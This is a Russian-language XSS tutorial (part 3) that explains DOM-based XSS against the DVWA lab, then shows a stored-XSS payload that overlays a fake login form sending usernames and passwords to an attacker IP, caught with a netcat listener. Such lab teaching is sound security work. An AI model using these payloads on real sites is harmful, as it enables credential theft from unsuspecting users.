Подробное руководство по межсайтовому скриптингу (XSS) (ч.3)

[Kenshiro]

XSS на основе DOM

Межсайтовый скриптинг на основе DOM - это уязвимость, которая проявляется в объектной модели документа, а не на страницах HTML.

Но что это за объектная модель документа?

DOM или объектная модель документа описывает различные сегменты веб-страницы, такие как заголовок, заголовки, таблицы, формы и т. д., И даже иерархическую структуру HTML-страницы. Таким образом, этот API увеличивает навыки разработчиков по созданию и изменению документов HTML и XML как программных объектов.

Когда HTML-документ загружается в веб-браузер, он становится «объектом документа». Однако этот объект документа является корневым узлом документов HTML и «владельцем» всех остальных узлов.



С объектной моделью JavaScript получает всю мощь, необходимую для создания динамического HTML:

§ JavaScript может изменять все элементы HTML на странице

§ JavaScript может изменять все атрибуты HTML на странице

§ JavaScript может изменять все стили CSS на странице

§ JavaScript может удалять существующие элементы и атрибуты HTML.

§ JavaScript может добавлять новые элементы и атрибуты HTML

§ JavaScript может реагировать на все существующие HTML-события на странице

§ JavaScript может создавать новые HTML-события на странице

Поэтому манипуляции с DOM сами по себе не проблема, но когда JavaScript небезопасно обрабатывает данные в DOM, он позволяет проводить различные атаки.

Уязвимости XSS на основе DOM обычно возникают, когда JavaScript берет данные из источника, управляемого злоумышленником, например URL-адреса, и передает их приемнику (опасная функция JavaScript или объект DOM как eval ()), который поддерживает выполнение динамического кода.

Это сильно отличается от отраженного и сохраненного XSS, потому что в этой атаке разработчик не может найти вредоносный скрипт в исходном коде HTML, а также в ответе HTML, это можно наблюдать во время выполнения.

XSS на основе DOM использует эти проблемы на локальных машинах пользователя следующим образом:

- Злоумышленник создает хорошо продуманный вредоносный веб-сайт.

- Пользователь открывает эти сайты.

- У пользователя на машине есть уязвимая страница.

- Сайт злоумышленника отправляет команды уязвимой HTML-странице.

- Уязвимая локальная страница выполняет эти команды с правами пользователя на этой машине.

- Злоумышленник легко получает контроль над компьютером жертвы.

Давайте посмотрим на использование XSS на основе DOM.

Таким образом, следующее приложение было уязвимо для XSS-атаки на основе DOM. Веб-приложение также позволяет своим пользователям выбирать язык со следующими отображаемыми параметрами и, таким образом, выполняет ввод через свой URL-адрес.

http://localhost/DVWA/vulnerabilities/xss_d/?default=English

Из приведенного выше снимка экрана видно, что у нас нет какого-либо конкретного раздела, в который мы могли бы включить наш вредоносный код. Поэтому, чтобы испортить это веб-приложение, мы теперь манипулируем «URL», поскольку это наиболее распространенный источник для DOM XSS.

http://localhost/DVWA/vulnerabilities/xss_d/?default=English#<script>alert("This is DOM XSS");</script>

После изменения URL-адреса нажмите Enter. Теперь мы снова выберем язык, и, когда мы нажмем кнопку выбора, браузер выполнит код в URL-адресе и выдаст предупреждение DOM XSS.

Основное различие между XSS на основе DOM и отраженным или сохраненным XSS заключается в том, что он не может быть остановлен фильтрами на стороне сервера, потому что все, что написано после символа «#» (хеш), никогда не будет перенаправлено на сервер.


Использование межсайтовых сценариев
Я уверен, что вам может быть интересно: «Хорошо, у нас есть всплывающее окно, но что теперь? Что мы могли с этим сделать? Я нажму кнопку ОК, и появится всплывающее окно ». Но это всплывающее окно говорит около тысячи слов. Давайте вернемся к тому месту, где у нас появилось первое всплывающее окно; В раздел «Хранение».

Захват учетных данных
Итак, поскольку мы теперь знаем, что всякий раз, когда пользователь отправляет свой отзыв, он сохраняется непосредственно в базе данных сервера. И если злоумышленник манипулирует обратной связью с помощью «предупреждающего сообщения», то даже предупреждение будет сохранено в нем, и оно будет появляться каждый раз, когда какой-либо другой пользователь посещает веб-страницу приложения.
Но что, если вместо всплывающего окна пользователя приветствует страница входа в систему?
Давайте попробуем решить эту проблему, внедрив вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на веб-страницу, которая, таким образом, перенаправит захваченный запрос на IP-адрес злоумышленника.
Итак, давайте добавим следующий скрипт в поле обратной связи в веб-приложении.

<div style="position: absolute; left: 0px; top: 0px; background-color:#fddacd;width: 1900px; height: 1300px;"><h2>Please login to continue!!</h2>
<br><form name="login" action="http://192.168.0.9:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="password" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>

Теперь этот вредоносный код сохранен в базе данных веб-приложения.

В другом браузере подумайте, когда пользователь пытается отправить отзыв.

Как только она нажимает кнопку отправки, браузер запускает скрипт, и он получает приветствие в форме входа в систему с надписью «Пожалуйста, войдите, чтобы продолжить !!».

С другой стороны, давайте включим нашего слушателя.

nc –lvp 4444

Теперь, когда он вводит свои учетные данные, скрипты снова загружаются, и введенные учетные данные отправляются на приемник злоумышленника.
На скриншоте ниже видно, что мы успешно получили учетные данные жертвы.